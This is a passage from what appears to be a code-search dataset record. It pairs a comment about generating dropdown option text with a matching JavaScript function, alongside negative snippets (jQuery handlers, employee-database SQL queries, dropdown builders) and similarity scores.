LISTING_LAST = i;\n }\n\n $('#divelog_rows').html(rowhtml);\n\n // Setup the click event triggers for a divelog_listing row here.\n $('#row0').click(function() { show_dive_from_listing($('#row0_id').val()); });\n $('#row1').click(function() { show_dive_from_listing($('#row1_id').val()); });\n $('#row2').click(function() { show_dive_from_listing($('#row2_id').val()); });\n $('#row3').click(function() { show_dive_from_listing($('#row3_id').val()); });\n $('#row4').click(function() { show_dive_from_listing($('#row4_id').val()); });\n $('#row5').click(function() { show_dive_from_listing($('#row5_id').val()); });\n $('#row6').click(function() { show_dive_from_listing($('#row6_id').val()); });\n $('#row7').click(function() { show_dive_from_listing($('#row7_id').val()); });\n $('#row8').click(function() { show_dive_from_listing($('#row8_id').val()); });\n $('#row9').click(function() { show_dive_from_listing($('#row9_id').val()); });\n $('#row10').click(function() { show_dive_from_listing($('#row10_id').val()); });\n $('#row11').click(function() { show_dive_from_listing($('#row11_id').val()); });\n}", "function allEmp() {\n const sql = `SELECT * FROM employee LEFT JOIN roles ON employee.roles_id = roles.id`;\n db.query(sql, function (err, res) {\n if (err) throw err;\n console.table(\"roles\", res);\n promptUser();\n });\n}", "getEntity(entityId) {\n entityId = this.esc(entityId) // escape entityId\n // INSIGHT: select specific columns, otherwise it'll replace from the joined table\n // aka, stop selecting *, making it specific\n var sql = [`SELECT entity.*, post.content, photo.photo, user.username FROM\n entity\n LEFT JOIN post ON post.entityId = entity.entityId\n LEFT JOIN photo ON photo.entityId = entity.entityId\n LEFT JOIN user ON user.userId = entity.userId\n WHERE entity.entityId = '${entityId}' LIMIT 1`, // only one post after all\n `SELECT entity_tag.* FROM entity_tag\n WHERE entity_tag.entityId = '${entityId}'`,\n `SELECT COUNT(*) AS likes FROM entity_like\n WHERE entity_like.entityId = '${entityId}'`,\n `SELECT entity_comment.userId, entity_comment.content, user.username FROM\n entity_comment\n JOIN user ON user.userId = entity_comment.userId\n WHERE entity_comment.entityId = '${entityId}'`\n ];\n\n var hook = {};\n return Promise.all(sql.map(sql_code => {\n return this.query(sql_code);\n }))\n .then(rows => {\n // rows[0] = entity + post/photo\n // rows[1] = tags\n // rows[2] = likes\n // rows[3] = comments\n\n hook = rows[0][0];\n hook.tags = rows[1].map(tag => {\n return tag.tagName;\n });\n hook.likes = rows[2][0].likes;\n hook.comments = rows[3];\n\n var users = [hook.userId]; //make array of all the userId's we'd like the name of\n users.push(hook.comments.map(comment => {\n return comment.userId;\n }));\n\n return hook;\n });\n }", "function getEntriesFromLessons(){\n console.log(\"Getting Lesson Entries\");\n dbShellLessons.transaction(function(tx){\n tx.executeSql(\"select lessonRow_id,teacher_id,lesson_id,exercise_id,exercise_title,exercise_detail,\\\n exercise_voice,exercise_image from lessons group by lesson_id\",[]\n ,renderEntriesForLessons,dberrorhandlerForLessons);\n },dberrorhandlerForLessons);\n}", "function getEmployees() {\n const query = \"SELECT * FROM employee\";\n return queryDB(query);\n}", "function viewAllEmployees(promptUser) {\n connection.query(`SELECT emp.id, emp.first_name, emp.last_name, role.title, department.name AS department, role.salary, concat(mng.first_name,' ',mng.last_name) as manager FROM employee emp LEFT JOIN role ON emp.role_id = role.id LEFT JOIN department ON role.department_id = department.id\n LEFT JOIN employee mng ON emp.manager_id = mng.id ORDER BY emp.id`, function (err, data) {\n if (err) throw err;\n console.table(\"\\n\",data);\n promptUser();\n })\n}", "async function viewAllEmployees () {\n // found information on self joins https://stackoverflow.com/questions/7451761/how-to-get-the-employees-with-their-managers\n const sql = 'SELECT e.id, e.first_name, e.last_name, role.title, department.name, role.salary, CONCAT(m.first_name,\\' \\', m.last_name) AS manager FROM employee e LEFT JOIN employee m ON e.manager_id = m.id LEFT JOIN role ON e.role_id = role.id LEFT JOIN department ON role.department_id = department.id';\n connection.promise().query(sql, (err, row) => {\n if (err) {\n console.log(`Error: ${err}`);\n return;\n }\n console.table(row);\n startingPrompt();\n return;\n });\n}", "function relationshipPopulate() {\n var ddl = document.getElementById(\"Group1Dropdown\");\n var group = ddl.selectedIndex == -1 ? arrGroups[0] : ddl.options[ddl.selectedIndex].value;\n var obj;\n\n var xmlhttp = new XMLHttpRequest();\n xmlhttp.onreadystatechange = function() {\n if (this.readyState == 4 && this.status == 200) {\n var response = xmlhttp.responseText;\n\n obj = JSON.parse(response);\n\n // Add the name to the correct list or to the ddl if no list selected yet\n if (obj.recordset.length > 0) {\n for (var i = 0; i < obj.recordset.length; i++) {\n var related = obj.recordset[i].Related;\n if (related == \"\") continue;\n\n switch(obj.recordset[i].Relationship) {\n case 'Parent-Manager':\n newElement(\"myInput1\", false, related);\n break;\n case 'Child-Employee-Spouse':\n newElement(\"myInput2\", false, related);\n break;\n case 'Sibling-Peer-Other':\n newElement(\"myInput3\", false, related);\n break;\n default:\n if (!arrParentManagerDDL.includes(related)) {\n arrParentManagerDDL.push(related);\n ddlPopulate(arrParentManagerDDL, ParentManagerDDL);\n }\n if (!arrCESDDL.includes(related)) {\n arrCESDDL.push(related);\n ddlPopulate(arrCESDDL, CESDDL);\n }\n if (!arrOtherDDL.includes(related)) {\n arrOtherDDL.push(related);\n ddlPopulate(arrOtherDDL, OtherDDL);\n }\n }\n }\n\n // Set the text and button state on the Profile and Partner pages\n textSet();\n }\n }\n };\n xmlhttp.open(\"GET\", \"http://ec2-54-166-214-152.compute-1.amazonaws.com:8081/relate/\" + sessionStorage.getItem(\"loginName\") + \"/\\'\" + group + '\\'', false);\n\n xmlhttp.send();\n}", "function displayAllEmployees() {\n // let query = \"SELECT * FROM employee\";\n connection.query(\"SELECT * FROM employee\", (err, res) => {\n if (err) throw err;\n\n console.log(\"\\n\\n ** Full Employee list ** \\n\");\n printTable(res);\n });\n}" ]
[ "0.55051655", "0.5474818", "0.5357269", "0.53470254", "0.52452296", "0.52292633", "0.51923335", "0.5158399", "0.51518667", "0.51329124", "0.51197284", "0.51183325", "0.5099864", "0.50790703", "0.5064515", "0.5059265", "0.5053948", "0.50518966", "0.50344944", "0.5022322", "0.50204545", "0.5014259", "0.5011256", "0.5010045", "0.5004961", "0.4993338", "0.49922794", "0.49898466", "0.49843344", "0.49829075", "0.49575642", "0.4952994", "0.49462578", "0.49252185", "0.49201274", "0.4915155", "0.49062547", "0.48777327", "0.48577636", "0.48537388", "0.48408365", "0.48390877", "0.48333278", "0.48328194", "0.48324034", "0.48306954", "0.48034692", "0.4795762", "0.47931758", "0.47874755", "0.4787256", "0.47840044", "0.4777035", "0.47671145", "0.4751168", "0.4739884", "0.4739146", "0.47387746", "0.4737619", "0.47327822", "0.4730096", "0.47277877", "0.47072026", "0.46946764", "0.46869743", "0.46659386", "0.46463478", "0.4640933", "0.4633494", "0.4620626", "0.46190256", "0.4606676", "0.4589819", "0.45896962", "0.4580052", "0.45534736", "0.45421332", "0.45409343", "0.4540061", "0.45358422", "0.45346975", "0.45346656", "0.45335457", "0.45327482", "0.45308644", "0.45278558", "0.45204213", "0.4518817", "0.45161468", "0.45138133", "0.45120147", "0.45065892", "0.44989765", "0.44962963", "0.44914466", "0.44887713", "0.44846645", "0.4483737", "0.4483716", "0.447427" ]
0.6861224
0
fucntion to generate the text for the drop downs.
function generatetxt(keylist) { var text, i; // start the dropdown list with All. text = "<option>All</option>"; // loop through array to populate the drop down. for (i = 0; i < keylist.length; i++) { text += "<option>" + keylist[i] + "</option>"; } return text }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function create_form_drop_down(name,elements)\n{\n let drops = [];\n name += \"<m style='color: red; display: inline-block;'> * </m>\";\n for(let i = 0;i < elements.length ; i++)\n {\n drops.push(`<option value=\"${elements[i]}\">${elements[i]}</option>`)\n };\n return `<div class=\"input_container\">\n <label for=\"${name.toLowerCase()}\">\n <b>${name} : </b>\n </label>\n <br>\n <select type=\"text\" class=\"data\" name=\"${name.toLowerCase()}\">\n ${drops.join('')}\n </select>\n </div>`;\n}", "function renderHtmlGtype(data){\n var htmlPart = \"<option> ----SELECT TYPE----</option>\";\n for(i=0;i<data.length;i++){\n htmlPart += \"<option>\" + data[i].gindex +\"- \"+ data[i].waste_type + \"</option>\" ;\n }\n document.getElementById(\"selbox1\").innerHTML = htmlPart;\n}", "_setDropDownOptions() {\n const that = this;\n\n if (that.dropDownEnabled === false || that._number === null) {\n return;\n }\n\n const wordLength = that._wordLengthNumber,\n leadingZeros = that.leadingZeros;\n\n that.$.dropDownItem2.innerHTML = `${that._number.toString(2, wordLength, leadingZeros)} (${that.localize('binary')})`;\n that.$.dropDownItem8.innerHTML = `${that._number.toString(8, wordLength)} (${that.localize('octal')})`;\n that.$.dropDownItem10.innerHTML = `${that._renderValue(that._number.toString(10, wordLength), true)} (${that.localize('decimal')})`;\n that.$.dropDownItem16.innerHTML = `${that._number.toString(16, wordLength, leadingZeros)} (${that.localize('hexadecimal')})`;\n }", "buildDropDown(deptNames, facultycount, facultyAdjustedCount) {\n let univtext = {};\n for (let dept in deptNames) {\n if (!deptNames.hasOwnProperty(dept)) {\n continue;\n }\n let p = '<div class=\"table\"><table class=\"table table-sm table-striped\"><thead><th></th><td><small><em>'\n + '<abbr title=\"Click on an author\\'s name to go to their home page.\">Faculty</abbr></em></small></td>'\n + '<td align=\"right\"><small><em>&nbsp;&nbsp;<abbr title=\"Total number of publications (click for DBLP entry).\">\\#&nbsp;Pubs</abbr>'\n + ' </em></small></td><td align=\"right\"><small><em><abbr title=\"Count divided by number of co-authors\">Adj.&nbsp;\\#</abbr></em>'\n + '</small></td></thead><tbody>';\n /* Build a dict of just faculty from this department for sorting purposes. */\n let fc = {};\n for (let name of deptNames[dept]) {\n fc[name] = facultycount[name];\n }\n let keys = Object.keys(fc);\n keys.sort((a, b) => {\n if (fc[b] === fc[a]) {\n return this.compareNames(a, b);\n /*\t\t let fb = Math.round(10.0 * facultyAdjustedCount[b]) / 10.0;\n let fa = Math.round(10.0 * facultyAdjustedCount[a]) / 10.0;\n if (fb === fa) {\n return this.compareNames(a, b);\n }\n return fb - fa; */\n }\n else {\n return fc[b] - fc[a];\n }\n });\n for (let name of keys) {\n let homePage = encodeURI(this.homepages[name]);\n let dblpName = this.dblpAuthors[name]; // this.translateNameToDBLP(name);\n p += \"<tr><td>&nbsp;&nbsp;&nbsp;&nbsp;</td><td><small>\"\n + '<a title=\"Click for author\\'s home page.\" target=\"_blank\" href=\"'\n + homePage\n + '\" '\n + 'onclick=\"trackOutboundLink(\\''\n + homePage\n + '\\', true); return false;\"'\n + '>'\n + name\n + '</a>&nbsp;';\n if (this.note.hasOwnProperty(name)) {\n const url = CSRankings.noteMap[this.note[name]];\n const href = '<a href=\"' + url + '\">';\n p += '<span class=\"note\" title=\"Note\">[' + href + this.note[name] + '</a>' + ']</span>&nbsp;';\n }\n if (this.acmfellow.hasOwnProperty(name)) {\n p += '<span title=\"ACM Fellow\"><img alt=\"ACM Fellow\" src=\"' +\n this.acmfellowImage + '\"></span>&nbsp;';\n }\n if (this.turing.hasOwnProperty(name)) {\n p += '<span title=\"Turing Award\"><img alt=\"Turing Award\" src=\"' +\n this.turingImage + '\"></span>&nbsp;';\n }\n p += '<span class=\"areaname\">' + this.areaString(name).toLowerCase() + '</span>&nbsp;';\n // p += '<font style=\"font-variant:small-caps\" size=\"-1\">' + this.areaString(name).toLowerCase() + '</em></font>&nbsp;';\n p += '<a title=\"Click for author\\'s home page.\" target=\"_blank\" href=\"'\n + homePage\n + '\" '\n + 'onclick=\"trackOutboundLink(\\''\n + homePage\n + '\\', true); return false;\"'\n + '>'\n + '<img alt=\\\"Home page\\\" src=\\\"' + this.homepageImage + '\\\"></a>&nbsp;';\n if (this.scholarInfo.hasOwnProperty(name)) {\n if (this.scholarInfo[name] != \"NOSCHOLARPAGE\") {\n let url = 'https://scholar.google.com/citations?user='\n + this.scholarInfo[name]\n + '&hl=en&oi=ao';\n p += '<a title=\"Click for author\\'s Google Scholar page.\" target=\"_blank\" href=\"' + url + '\" '\n + 'onclick=\"trackOutboundLink(\\''\n + url\n + '\\', true); return false;\"'\n + '>'\n + '<img alt=\"Google Scholar\" src=\"https://csrankings.org/scholar-favicon.ico\" height=\"10\" width=\"10\">'\n + '</a>&nbsp;';\n }\n }\n p += '<a title=\"Click for author\\'s DBLP entry.\" target=\"_blank\" href=\"'\n + dblpName\n + '\" '\n + 'onclick=\"trackOutboundLink(\\''\n + dblpName\n + '\\', true); return false;\"'\n + '>'\n + '<img alt=\"DBLP\" src=\"https://csrankings.org/dblp.png\">'\n + '</a>';\n p += \"<span onclick='csr.toggleChart(\\\"\" + escape(name) + \"\\\");' title=\\\"Click for author's publication profile.\\\" class=\\\"hovertip\\\" id=\\\"\" + escape(name) + \"-chartwidget\\\">\"\n + \"<span class='piechart'>\" + this.PieChart + \"</span></span>\"\n + '</small>'\n + '</td><td align=\"right\"><small>'\n + '<a title=\"Click for author\\'s DBLP entry.\" target=\"_blank\" href=\"'\n + dblpName\n + '\" '\n + 'onclick=\"trackOutboundLink(\\''\n + dblpName\n + '\\', true); return false;\"'\n + '>'\n + fc[name]\n + '</a>'\n + \"</small></td>\"\n + '<td align=\"right\"><small>'\n + (Math.round(10.0 * facultyAdjustedCount[name]) / 10.0).toFixed(1)\n + \"</small></td></tr>\"\n + \"<tr><td colspan=\\\"4\\\">\"\n + '<div style=\"display:none;\" id=\"' + escape(name) + \"-chart\" + '\">'\n + '</div>'\n + \"</td></tr>\";\n }\n p += \"</tbody></table></div>\";\n univtext[dept] = p;\n }\n return univtext;\n }", "function getOptionMarkup(value, text) {\n\t\treturn '<option value=\"' + value + '\">' + text + '</option>';\n\t}", "function OCM_dropdownMarkup() {\r\n\t\t\t\t\tvar $nectar_ocm_dropdown_func = ($('#slide-out-widget-area[data-dropdown-func]').length > 0) ? $offCanvasEl.attr('data-dropdown-func') : 'default';\r\n\t\t\t\t\tif ($nectar_ocm_dropdown_func == 'separate-dropdown-parent-link') {\r\n\t\t\t\t\t\t$('#slide-out-widget-area .off-canvas-menu-container li.menu-item-has-children').append('<span class=\"ocm-dropdown-arrow\"><i class=\"fa fa-angle-down\"></i></span>');\r\n\t\t\t\t\t}\r\n\t\t\t\t}", "function loadDropDowns(myId, myshortList, myText) {\n // var tbody = d3.select(\"tbody\");\n var inputDate = d3.select(myId) \n \n inputDate.html(\" \");\n \n console.log(myshortList);\n var cell = inputDate.append(\"option\").text(myText);\n \n myshortList.forEach((f) => {\n console.log(f);\n var cell = inputDate.append(\"option\")\n cell.text(f);\n \n });\n }", "function buildTheDropdown(){\n\tconsole.log('inside buildTheDropdown');\n\tfor(counter=0;counter<foods.length;counter++)\n\t{\n\t\tconsole.log('inside loop:'+counter);\n\t\tvar optionString='';\n\t\toptionString+='<option value=''';\n\t\toptionString+=foods[counter];\n\t\toptionString+='\">';\n\t\toptionString+=foods[counter].toUpperCase();\n\t\toptionString+='</option>';\n\n\t\tconsole.log(optionString);\n\t\t$('#food_selector').append(optionString);\n\t}\n}", "function createDropDown(fillArray, codeSnippet){\r\n\t\tvar dropDownOutput = '<select class=\"home-txt\" style=\"width:100px\">';\r\n\t\tif(codeSnippet)\r\n\t\t\tdropDownOutput +=codeSnippet;\r\n\t\tfor(var dropDownOptions=0; dropDownOptions< fillArray.length ;dropDownOptions++ ){\r\n\t\t\tdropDownOutput += '<option value=\"'+fillArray[dropDownOptions]+'\">'+fillArray[dropDownOptions]+'</option>';\r\n\t\t}\r\n\t\treturn dropDownOutput;\r\n\t}", "function createTextToComplet(qElement) {\n if (questions[pageCounter].textToComplet != null) {\n $(document).ready(function () {\n $(\"select\").formSelect();\n });\n\n var item = $('<div class=\"input-field col s12\"><select>');\n var input = \"\";\n for (var i = 0; i < questions[pageCounter].options1.length; i++) {\n input =\n '<option value=\"\">' +\n questions[pageCounter].options1[i] +\n \"</option>\";\n item.append(input);\n }\n item.append(\"</select></div>\");\n qElement.append(item);\n }\n }", "function getDropDown(availableOptionArray, id) {\n let result = '';\n let word_length = $(\"#word\"+ id).outerWidth();\n result += ' <div class=\"dropdown-content\" style=\"width:' + word_length + 'px\">';\n availableOptionArray.forEach(function (p) {\n result += '<button onclick=\"tag_click(this)\" class= \"dropdown-content-block drop_down_button_'+ id+'\" style=\"background-color:' + p.color + '\">' + p.tag + '</button>';\n });\n result += '</div>';\n return result;\n}", "function init(){\r\n\tgenDropDownList();\r\n}", "function updateDropdownText(menuitem, text) {\n $(menuitem).parents(\".btn-group\").find(\".dropdown-toggle\").html(text +\n \" <span class=\\\"caret\\\"></span>\");\n }", "static splash_screen_tutorial_options_html(){\n let result = \"\"\n let labels = persistent_get(\"splash_screen_tutorial_labels\") //might have checkmarks in them.\n for(let name_and_tooltip of this.splash_screen_tutorial_names_and_tooltips){\n let name = name_and_tooltip[0]\n let label = null\n for(let a_label of labels) {\n if(a_label.endsWith(name)){\n label = a_label //might have a checkmark\n break;\n }\n }\n if(!label) { label = \"&nbsp;&nbsp;&nbsp;\" + name } //default is no checkmark\n result += \"<option class='splash_screen_item' \" +\n \"title='\" + name_and_tooltip[1] +\n \"' style='cursor:pointer;'>\" +\n label + \"</option>\\n\"\n }\n return result\n }", "function showLanguageOption(item) {\n document.getElementById(\"dropdownLanguageOption\").innerHTML = item.innerHTML;\n}", "function buildText(options) {\n html += `<p class =\"text\">${options[0]}</p>`\n}", "function updateDropdownLabel() {\n // code goes here\n semesterDropLabel.innerHTML = semester\n}", "function buildSequenceMenu() {\n // build a string holding the html for the select menu\n var dropdown = \"<select>\\n\";\n dropdown+=\"<option id='-1' value='-1'>Select a sequence</option>\\n\";\n for (var i=0; i < jsonData[0].sequences.length; i++) {\n dropdown += \"<option id='\"+jsonData[0].sequences[i].id+\"' value='\"+i+\"'>\"+jsonData[0].sequences[i].name+\"</option>\\n\";\n }\n dropdown += \"</select>\\n\";\n\n // modify the dom to display the values and menus that have been read\n $(\"#headerTitle\").html(jsonData[0].name);\n $(\"#dropdown\").html(dropdown);\n\n // use a callback to rebuild the task menu whenever the sequence is selected\n $(\"#dropdown\").change(buildTaskMenu);\n }", "function createDropDown() {\n var $source = $(\"#radiusSelect\");\n var $selected = $source.find(\"option[selected]\");\n var $options = $(\"option\", $source);\n \n\n $(\"#addy_in_radius\").append('<dl id=\"target\" class=\"dropdown\"></dl>');\n var $target = $(\"#target\");\n\n $target.append('<dt><a href=\"#\">' + $selected.text() + '<span class=\"value\">' +\n $selected.val() + '</span><i class=\"icon-angle-down\"></i></a></dt>');\n\n $target.append('<dd><ul></ul></dd>');\n\n $options.each(function(){\n $(\"#target dd ul\").append('<li><a href=\"#\">' + $(this).text()\n + '<span class=\"value\">' + $(this).val() + '</span></a></li>');\n });\n\n }", "function writeDropdowns() {\n\t// this writes the dropdown that lets you select which Relic you are adding a property to\n\trelicsIndex = myCharacter.relics;\n\trelicUpdateDropdown = \"\";\n\tfor(var relicName in relicsIndex) {\n\t\trelicUpdateDropdown += \"<option value=\\\"\" + relicName + \"\\\">\" + relicName + \"</option>\";\n\t}\n\tdocument.getElementById('relicPropertyEntry').innerHTML = relicUpdateDropdown;\n\n\tvirtuesIndex = myCharacter.virtues;\n\tvirtuesDropdown = \"<label>Virtue Channel?</label><select id=\\\"virtueChannelEntry\\\">\";\n\tvirtuesDropdown += \"<option value=\\\"ChooseOne\\\">Choose One</option>\";\n\tfor(var virtueName in virtuesIndex) {\n\t\tif(virtuesIndex[virtueName] != 0) {\n\t\t\tvirtuesDropdown += \"<option value=\\\"\" + virtueName + \"\\\">\" + capitalizeFirstLetter(virtueName) + \"</option>\";\n\t\t}\n\t}\n\tdocument.getElementById('virtueChannelPlaceholder').innerHTML = virtuesDropdown;\n\n\trelicModList = \"\";\n\trelicModList += document.getElementById('relicBonusSelector3').innerHTML;\n\n\tattacksIndex = myCharacter.attacks;\n\tattackSelectorList = \"<option value=\\\"ChooseOne\\\">Choose One</option>\";\n\tdamageSelectorList = \"<option value=\\\"ChooseOne\\\">Choose One</option>\";\n\tfor(var attackName in attacksIndex) {\n\t\tattackSelectorList += \"<option value=\\\"\" + attackName + \"\\\">\" + attackName + \"</option>\";\n\t\tdamageSelectorList += \"<option value=\\\"\" + attackName + \"\\\">\" + attackName + \"</option>\";\n\t\trelicModList += \"<option value=\\\"\" + attackName + \"Attack\\\">\" + attackName + \" Attack</option>\";\n\t\trelicModList += \"<option value=\\\"\" + attackName + \"Damage\\\">\" + attackName + \" Damage</option>\";\n\t\trelicModList += \"<option value=\\\"\" + attackName + \"Parry\\\">\" + attackName + \" Parry</option>\";\n\t}\n\tdocument.getElementById('attackRollEntry').innerHTML = attackSelectorList;\n\tdocument.getElementById('damageRollEntry').innerHTML = damageSelectorList;\n\n\tfor(var armorName in myCharacter['armors']) {\n\t\trelicModList += \"<option value=\\\"\" + armorName + \"Soak\\\">\" + armorName + \" Soak</option>\";\n\t}\n\n\tdocument.getElementById('relicBonusSelector3').innerHTML = relicModList;\n\n\n\tpresetList = \"\";\n\tpresetList += \"<option value=\\\"ChooseOne\\\">Choose One</option>\";\n\tpresetList += \"<option value=\\\"mentalResist\\\">Mental Resist</option>\";\n\tif(myCharacter['knacks']['epicIntelligence']['intellectualJuggernaut'] == true) {\n\t\tpresetList += \"<option value=\\\"intellectualJuggernaut\\\">MR (Intellectual Juggernaut)</option>\";\n\t}\n\tpresetList += \"<option value=\\\"socialResist\\\">Social Resist</option>\";\n\tif(myCharacter['knacks']['epicManipulation']['wordsWillNeverHurtMe'] == true) {\n\t\tpresetList += \"<option value=\\\"wordsWillNeverHurtMe\\\">SR (Words Will Never...)</option>\";\n\t}\n\tif(myCharacter['knacks']['epicWits']['rapierWit'] == true) {\n\t\tpresetList += \"<option value=\\\"rapierWit\\\">SR (Rapier Wit)</option>\";\n\t}\n\tif(myCharacter['knacks']['epicIntelligence']['blockadeOfReason'] == true) {\n\t\tpresetList += \"<option value=\\\"blockadeOfReason\\\">SR (Blockade of Reason)</option>\";\n\t}\n\tpresetList += \"<option value=\\\"physicalResist\\\">Physical Resist</option>\";\n\tif(myCharacter['boons']['sun']['unflinchingGaze'] == true) {\n\t\tpresetList += \"<option value=\\\"unflinchingGaze\\\">PR vs. Light</option>\";\n\t}\n\tpresetList += \"<option value=\\\"joinBattle\\\">Join Battle</option>\";\n\tpresetList += \"<option value=\\\"featOfStrength\\\">Feat of Strength</option>\";\n\tpresetList += \"<option value=\\\"numberFate\\\">#Fate</option>\";\n\tpresetList += \"<option value=\\\"escapeFromGrapple\\\">Escape from Grapple</option>\";\n\tdocument.getElementById('rollerPresetEntry').innerHTML = presetList;\n\n\tfatiguePenaltyString = \"\";\n\tif(numberMystery > 0) {\n\t\tfatiguePenaltyString += \"<button onclick=\\\"addNewTempModifier('-1/2#mystery', 'bonusDice', 'Mystery Fatigue Penalty', '\" + getFatiguePenalty() + \"', 'story'), location.reload()\\\">Add Mystery Fatigue Penalty</button>\";\n\t\tfatiguePenaltyString += \"<br><br>\";\n\t}\n\tif(numberProphecy > 0) {\n\t\tfatiguePenaltyString += \"<button onclick=\\\"addNewTempModifier('-1/2#prophecy', 'bonusDice', 'Prophecy Fatigue Penalty', '\" + getFatiguePenalty() + \"', 'story'), location.reload()\\\">Add Prophecy Fatigue Penalty</button>\";\n\t\tfatiguePenaltyString += \"<br><br>\";\n\t}\n\tdocument.getElementById('fatiguePenaltyAdder').innerHTML = fatiguePenaltyString;\n\n\trollExtraString = \"\";\n\tif(myCharacter['boons']['mystery']['spiritualFortitude'] == true) {\n\t\trollExtraString += \"<input id=\\\"spiritualFortitudeExtraEntry\\\" type=\\\"checkbox\\\"><label>Spiritual Fortitude? (MR & SR only)</label><br>\"\n\t}\n\tif(myCharacter['boons']['magic']['bonaFortuna'] == true && myValidChannelsList['magic'] == true) {\n\t\trollExtraString += \"<input id=\\\"bonaFortunaExtraEntry\\\" type=\\\"checkbox\\\"><label>Bona Fortuna +\" + effectiveNumberMagic + \" Dice</label><br>\";\n\t}\n\tif(myCharacter['boons']['star']['luckyStar'] == true && myValidChannelsList['star'] == true) {\n\t\trollExtraString += \"<input id=\\\"luckyStarExtraEntry\\\" type=\\\"checkbox\\\"><label>Lucky Star +\" + effectiveNumberStar + \" Dice</label><br>\";\n\t}\n\tif(myCharacter['boons']['psp']['pspLevel2'] == true && myCharacter['characterPantheon'] == \"Deva\") {\n\t\trollExtraString += \"<input id=\\\"karmaExtraEntry\\\" type=\\\"checkbox\\\"><label>Karma +\" + parseInt(myCharacter['coreTraits']['legend']) + \" Dice to Virtue Channel</label><br>\"\n\t}\n\trollExtraString += \"<br>\";\n\tdocument.getElementById('rollExtraModalExtras').innerHTML = rollExtraString;\n}", "function getDesc(selection) {\n //let txtSelected = selection.selectedIndex;\n let expName =\n \"Experiment Name: \" + selection.options[selection.selectedIndex].text;\n let description =\n \"Some description for \" +\n selection.options[selection.selectedIndex].text +\n \"...\";\n document.getElementById(\"expname\").innerHTML = expName;\n document.getElementById(\"description\").innerHTML = description;\n}", "function fillFormTitleTpc() {\n var data = \"\";\n courses.forEach(function (course) {\n data += `<option class=\"tpc\" value=\"${course.Id}\">${course.Title}</option>`;\n\n })\n document.getElementById(\"select_tpc\").innerHTML = data;\n}", "function createDropdowns() {\n //region\n region_options = '';\n for (var i in region_info){\n region_options += '<option value=\"' + region_info[i] + '\">'+ region_info[i] + '</option>'\n }\n $('#id_region').append($.parseHTML(region_options));\n //habitat\n habitat_options = '';\n for (var i in habitat_info){\n habitat_options += '<option value=\"' + habitat_info[i] + '\">'+ habitat_info[i] + '</option>'\n }\n $('#id_habitat').append($.parseHTML(habitat_options));\n //status\n status_options = '';\n for (var i in status_info){\n status_options += '<option value=\"' + status_info[i] + '\">'+ status_info[i] + '</option>'\n }\n $('#id_status').append($.parseHTML(status_options));\n //family\n family_options = '';\n for (var i in family_info){\n family_options += '<option value=\"' + family_info[i] + '\">'+ family_info[i] + '</option>'\n }\n $('#id_family').append($.parseHTML(family_options));\n\n\n }", "function genreListDisplay() {\n var genreList = ['Genre', 'Romance', 'Thriller', 'Paranormal', 'Fantasy', 'Young Adult', 'Mystery', 'Dark', 'Contemporary', 'Comedy'];\n let selects = document.getElementsByClassName(\"custom-select\");\n for(let i=0; i<selects.length; i++) {\n selects[i].innerHTML = '';\n genreList.map((text, id) => {\n let temp = '<option value=\"'+text+'\">'+text+'</option>';\n selects[i].innerHTML += temp;\n });\n }\n}", "function createDropDown(){\r\r\n\t\tvar $form = $(\"div#country-select form\");\r\r\n\t\t$form.hide();\r\r\n\t\tvar source = $(\"#country-options\");\r\r\n\t\tsource.removeAttr(\"autocomplete\");\r\r\n\t\tvar selected = source.find(\"option:selected\");\r\r\n\t\tvar options = $(\"option\", source);\r\r\n\t\t$(\"#country-select\").append('<dl id=\"target\" class=\"dropdown\"></dl>')\r\r\n\t\t$(\"#target\").append('<dt class=\"' + selected.val() + '\"><a href=\"#\"><span class=\"flag\"></span><em>' + selected.text() + '</em></a></dt>')\r\r\n\t\t$(\"#target\").append('<dd><ul></ul></dd>')\r\r\n\t\toptions.each(function(){\r\r\n\t\t\t$(\"#target dd ul\").append('<li class=\"' + $(this).val() + '\"><a href=\"' + $(this).attr(\"title\") + '\"><span class=\"flag\"></span><em>' + $(this).text() + '</em></a></li>');\r\r\n\t\t\t});\r\r\n\t}", "function generateDropdown(parentID,label,dropID,title,array) {\n //add select options\n var dropHtml = \"\";\n if (label != \"\") {\n dropHtml += '<label>' + label + '</label>'\n }\n dropHtml += '<select class=\"selectpicker show-tick\" id=\"'+ dropID +'\" title=\"'+title+'\" data-style=\"btn-default\" data-width=\"100%\" data-size=\"10\">'\n //build list, apply BREAKS or LABELS if words present in array\n for (i = 0; i < array.length; i++) {\n if (array[i] == 'BREAK'){\n dropHtml += '<option data-divider=\"true\"></option>';\n } else if (array[i].includes('LABEL=')) {\n dropHtml += '<optgroup label=\"' + array[i].replace('LABEL=','') + '\">';\n } else if (array[i].includes('ENDLABEL')) {\n dropHtml += '</optgroup>';\n }\n else {\n dropHtml += '<option>' + array[i] + '</option>';\n }\n }\n dropHtml += '</select>';\n //add to parent div\n document.getElementById(parentID).innerHTML = dropHtml;\n //initialise dropdown\n $('#'+dropID).selectpicker();\n //bind dropdown click handler\n $('#'+dropID).on('changed.bs.select', dropClickHandler);\n}", "function generateEngines(){\n for(var i = 0; i < engines.length; i++){\n $(\"#engine-list\").html($(\"#engine-list\").html()+'<a class=\"dropdown-item\" href=\"#\" onclick=\"changeEngine('+i+')\">'+engines[i].name+'</a>');\n }\n}", "function populateVoicesDropDown() {\n voicesDropDown.innerHTML = speechSynthesis\n .getVoices()\n .map(voice => `<option value=\"${voice.name}\">${voice.name}</option>`)\n .join('');\n}", "function addCharSubsetMenu() {\n var specialchars = document.getElementById('specialchars');\n\n if (specialchars) {\n var menu = \"<select id=\\\"charsetBox\\\" style=\\\"display:inline\\\" onkeyup=\\\"chooseCharSubset(selectedIndex)\\\" onChange=\\\"chooseCharSubset(selectedIndex)\\\">\";\n menu += \"<option>More characters</option>\";\n menu += \"<option>Latin/Roman</option>\";\n menu += \"<option>Greek</option>\";\n menu += \"<option>Cyrillic</option>\";\n menu += \"<option>Arabic</option>\";\n menu += \"<option>Catalan</option>\";\n menu += \"<option>Croatian</option>\";\n menu += \"<option>Czech & Slovak</option>\";\n menu += \"<option>Dutch/Frisian</option>\";\n menu += \"<option>Esperanto</option>\";\n menu += \"<option>Estonian</option>\";\n menu += \"<option>French</option>\";\n menu += \"<option>German</option>\";\n menu += \"<option>Hawaiian</option>\";\n menu += \"<option>Hebrew</option>\";\n menu += \"<option>Hieroglyph</option>\";\n menu += \"<option>Hungarian</option>\";\n menu += \"<option>Icelandic</option>\";\n menu += \"<option>Indo-European</option>\";\n menu += \"<option>Irish</option>\";\n menu += \"<option>Italian</option>\";\n menu += 